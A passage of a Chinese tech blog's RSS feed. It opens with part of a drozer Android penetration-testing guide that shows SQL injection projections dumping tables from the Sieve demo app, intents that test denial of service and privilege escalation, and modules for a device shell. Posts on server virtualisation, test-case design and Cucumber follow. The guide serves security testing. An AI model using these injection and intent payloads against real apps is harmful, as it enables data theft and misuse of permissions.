font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　列出所有表：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　获取某个表（如Key）中的数据：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（4）同时检测SQL注入和目录遍历</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.injection -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.traversal -a com.mwr.example.sieve<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">6 intent组件触发（拒绝服务、权限提升）</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　利用intent对组件的触发一般有两类漏洞，一类是拒绝服务，一类的权限提升。拒绝服务危害性比较低，更多的只是影响应用服务质量；而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用，从而帮助其完成越权行为。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1.查看暴露的广播组件信息：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.info -a com.package.name　　获取broadcast receivers信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2.尝试拒绝服务攻击检测，向广播组件发送不完整intent（空action或空extras）：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send 通过intent发送broadcast receiver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　(1) &nbsp; 空action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　(2) &nbsp; 空extras</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3.尝试权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　权限提升其实和拒绝服务很类似，只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关，所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具，可以参考IntentFuzzer，其结合了drozer以及hook技术，采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（1）获取service详情</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.service.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　不使用drozer启动service</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　am startservice &#8211;n 包名/service名</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（2）权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　7.文件操作</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　列出指定文件路径里全局可写/可读的文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　8.其它模块</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　shell.start 在设备上开启一个交互shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　tools.file.upload / tools.file.download 上传/下载文件到设备</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件</div></div><img src ="http://www.blogjava.net/qileilove/aggbug/423597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:06 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在服务器虚拟化架构中有哪些技术功能和益处</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423595.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:03:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423595.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423595.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423595.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423595.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423595.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">关于服务器虚拟化的概念，业界有不同的定义，但其核心是一致的，即它是一种方法，能够在整合多个应用服务的同时，通过区分应用服务的优先次序将服务器资源分配给最需要它们的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>负载来简化管理和提高效率。<strong style="word-break: break-all; line-height: normal !important;">其主要功能包括以下四个方面：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　集成整合功能。虚拟化服务器主要是由物理服务器和虚拟化程序构成的，通过把一台物理服务器划分为多个虚拟机，或者把若干个分散的物理服务器虚拟为一个整体逻辑服务器，从而将多个<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">操作系统</strong></u></a>和应用服务整合到强大的虚拟化架构上。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　动态迁移功能。这里所说的动态迁移主要是指V2V(虚拟机到虚拟机的迁移)技术。具体来讲，当某一个服务器因故障停机时，其承载的虚拟机可以自动切换到另一台虚拟服务器，而在整个过程中应用服务不会中断，实现系统零宕机在线迁移。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　资源分配功能。虚拟化架构技术中引入了动态资源调度技术，系统将所有虚拟服务器作为一个整体资源统一进行管理，并按实际需求自动进行动态资源调配，在保证系统稳定运行的前提下，实现资源利用最大化。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况，实现对全部虚拟资源的管理、维护及部署等操作。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">服务器虚拟化的益处</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">采用服务器虚拟化技术的益处主要表现在以下几个方面。</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　节省采购费用。通过虚拟化技术对应用服务器进行整合，可以大幅缩减企业在采购环节的开支，在硬件环节可以为企业节省34%～80%的采购成本。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　同时，还可以节省软件采购费用。软件许可成本是企业不可忽视的重要支出。而随着<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">微软</strong></u></a>、红帽等软件巨头的加入，虚拟化架构技术在软件成本上的优势也逐渐得以体现。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　降低系统运行维护成本。由于虚拟化在整合服务器的同时采用了更为出色的管理工具，减少了管理维护人员在网络、线路、软硬件维护方面的工作量，信息部门得以从传统的维护管理工作中解放出来，将更多的时间和精力用于推动创新工作和业务增长等活动，这也为企业带来了利益。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　通过虚拟化技术可以减少物理服务器的数量，这就意味着企业机房耗电量、散热量的降低，同时还为企业节省了空调、机房配套设备的改造升级费用。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　提高资源利用率。保障业务系统的快速部署是信息化工作的一项重要指标，而传统模式中服务器的采购安装周期较长，一定程度上限制了系统部署效率。利用虚拟化技术，可以快速搭建虚拟系统平台，大幅缩减部署筹备时间，提高工作效率。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　由于虚拟化服务器具有动态资源分配功能，因此当一台虚拟机的应用负载趋于饱和时，系统会根据之前定义的分配规则自动进行资源调配。根据大部分虚拟化技术厂商提供的数据指标来看，通过虚拟化整合服务器后，资源平均利用率可以从5%～15%提高到60%～80%。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　提高系统的安全性。传统服务器硬件维护通常需要数天的筹备期和数小时的维护窗口期。而在虚拟化架构技术环境下，服务器迁移只需要几秒钟的时间。由于迁移过程中服务没有中断，管理员无须申请系统停机，在降低管理维护工作量的同时，提高系统运行连续性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　目前虚拟化主流技术厂商均在其虚拟化平台中引入数据快照以及虚拟存储等安全机制，因此在数据安全等级和系统容灾能力方面，较原有单机运行模式有了较大提高。<br /><br />目前 我司正在应用aws 确实很不错，节省成本 服务稳定，比什么阿里云 强了不知道多少倍</div><img src ="http://www.blogjava.net/qileilove/aggbug/423595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:03 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423595.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>阅读《测试用例指南》笔记</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423594.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:00:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423594.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423594.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423594.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423594.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423594.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">1.测试用例 ：分有基本流和备选流。</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　2.要先确定<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>用例</strong></u>描述，再在测试用例 实施矩阵中确定相应的测试用例数据。</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　3.从补充规约中生成测试用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（1）为<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能测试</strong></u></a>生成测试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（2）为安全性/访问控制测试生成测试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　关键：先指定执行用例的主角</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（3）为配置测试生成测试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　主要是为了核实测试目标在不同的配置情况下（如不同的OS，Browser，CPU速度等）是否能正常 地&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>或执行。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　针对第个关键配置，每个可能有问题的配置都至少应该有一个测试用例。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（4）为安装测试生成测试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　a.需要对以下各种安装情况设计测试用例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　分发介质（如磁盘，CD-ROM和文件服务器）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　首次安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　完全安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　自定义安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　升级安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　b.测试目标应包括所有构件的安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　客户机，中间层，服务器</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（5）为其他非功能性测试生成测试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如操作测试，对性能瓶颈，系统容量或测试目标的强度承受能力进行调查的测试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">4.在<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">白盒测试</strong></u></a>及<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">黑盒测试</strong></u></a>的同时都应该进行可靠性测试。</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　5.为产品验收测试生成测试用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　6.为回归测试编制测试用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　a.回归测试是比较同一测试目标的两个版本或版本，并将将差异确定为潜在的缺陷。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　b.为使测试用例发挥回归测试和复用的价值，同时将维护成本减至最低，应：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　确保测试用例只确定关键的数据元素（创建/支持被测试的条件支持的测上试用例）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　确保每个测试用例都说明或代表一个唯一的输入集或事件序列，其结果是独特的测试目标行为</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　消除多余或等效的测试用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　将具有相同的测试目标初始状态和测试数据状态的测试用例组合在一起</div><img src ="http://www.blogjava.net/qileilove/aggbug/423594.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:00 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423594.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>行为驱动开发: Cucumber的目录结构和执行过程</title><link>http://www.blogjava.net/qileilove/archive/2014/12/28/421891.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Sat, 27 Dec 2014 17:29:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/28/421891.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421891.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/28/421891.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421891.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421891.html</trackback:ping><description><![CDATA[<h1><a id="cb_post_title_url" href="http://www.cnblogs.com/CloudTeng/archive/2011/10/16/2214293.html" style="margin: 0px; padding: 0px; color: #00bfff; font-weight: inherit; line-height: inherit; text-decoration: none;">行为驱动开发: Cucumber的目录结构和执行过程</a></h1><div style="margin: 0px; clear: both; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;"></div><div style="margin: 0px; padding: 5px 2px 5px 5px; line-height: 1.5; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: black; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px;"><div id="cnblogs_post_body" style="margin: 0px 0px 20px;"><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">&nbsp; &nbsp; &nbsp; Cucumber是Ruby世界的BDD框架，开发人员主要与两类文件打交到，Feature文件和相应的Step文件。Feature文件是以feature为后缀名的文件，以Given-When-Then的方式描述了系统的场景(scenarios)行为；Step文件为普通的Ruby文件，Feature文件中的每个Given/When/Then步骤在Step文件中都有对应的Ruby执行代码，两类文件通过正则表达式相关联。笔者在用Cucumber+Watir做回归测试时对Cucumber工程的目录结构执行过程进行了研究。</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">安装好Cucumber后，如果在终端直接执行cucumber命令，得到以下输出：<img src="http://pic002.cnblogs.com/images/2011/341412/2011101620404538.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">输出结果表明：cucumber期待当前目录下存在名为features的子目录。建好features文件夹后，重新执行cucumber命令，输出如下：</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101620433974.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">Cucumber运行成功，但由于features文件夹下没有任何内容，故得到上述输出结果。</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">网上大多数关于Cucumber的教程都建议采用以下目录结构，所有的文件（夹）都位于features文件夹下。</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101620540328.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">Feature文件（如test.feature）直接位于features文件夹下，可以为每个应用场景创建一个Feature文件；与Feature文件对应的Step文件（如test.rb）位于step_definitions子文件夹下；同时，存在support子文件夹，其下的env.rb文件为环境配置文件。在这样的目录结构条件下执行cucumber命令，会首先执行env.rb做前期准备工作，比如可以用Watir新建浏览器窗口，然后Cucumber将test.rb文件读入内存，最后执行test.feature文件，当遇到Given/When/Then步骤时，Cucumber将在test.rb中搜索是否有相应的step，如果有，则执行相应的Ruby代码。</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">这样的目录结构只是推荐的目录结构，笔者通过反复的试验得出了以下结论：对于Cucumber而言，除了顶层的features文件夹是强制性的之外，其它目录结构都不是强制性的，Cucumber将对features文件夹下的所有内容进行扁平化（flatten）处理和首字母排序。具体来说，Cucumber在运行时，首先将递归的执行features文件夹下的所有Ruby文件(其中则包括Step文件)，然后通过相同的方式执行Feature文件。但是，如果features文件夹下存在support子文件夹，并且support下有名为env.rb的文件，Cucumber将首先执行该文件，然后执行support下的其它文件，再递归执行featues下的其它文件。</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">比如有如下Cucumber目录结构：</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101621421836.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">为了方便记录Cucumber运行时的文件执行顺序，在features文件夹下的所有Ruby文件中加上以下代码：</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">puts File.basename(__FILE__)</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">此行代码的作用是在一个Ruby文件执行时输出该文件的名字，此时执行cucumber命令，得到以下输出（部分）结果：</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;"><img src="http://pic002.cnblogs.com/images/2011/341412/2011101621471043.png" alt="" style="margin: 0px; padding: 0px; border: 0px;" /></p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">上图即为Ruby文件的执行顺序，可以看出，support文件夹下env.rb文件首先被执行，其次按照字母排序执行c.rb和d.rb；接下来，Cucumber将features文件夹下的所用文件（夹）扁平化，并按字母顺序排序，从而先执行a.rb和b.rb，而由于other文件夹排在step_definitions文件夹的前面，所以先执行other文件夹下的Ruby文件（也是按字母顺序执行：先f.rb，然后g.rb），最后执行step_definitions下的e.rb。</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">当执行完所有Ruby文件后，Cucumber开始依次读取Feature文件，执行顺序也和前述一样，即: a.feature --&gt; b.feature --&gt; c.feature</p><p style="margin-top: 10px; margin-bottom: 10px; padding: 0px;">笔者还发现，这些Ruby文件甚至可以位于features文件夹之外的任何地方，只是需要在位于features文件夹之内的Ruby文件中require一下，比如在env.rb中。</p></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: block; left: 89px; top: 0px; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option 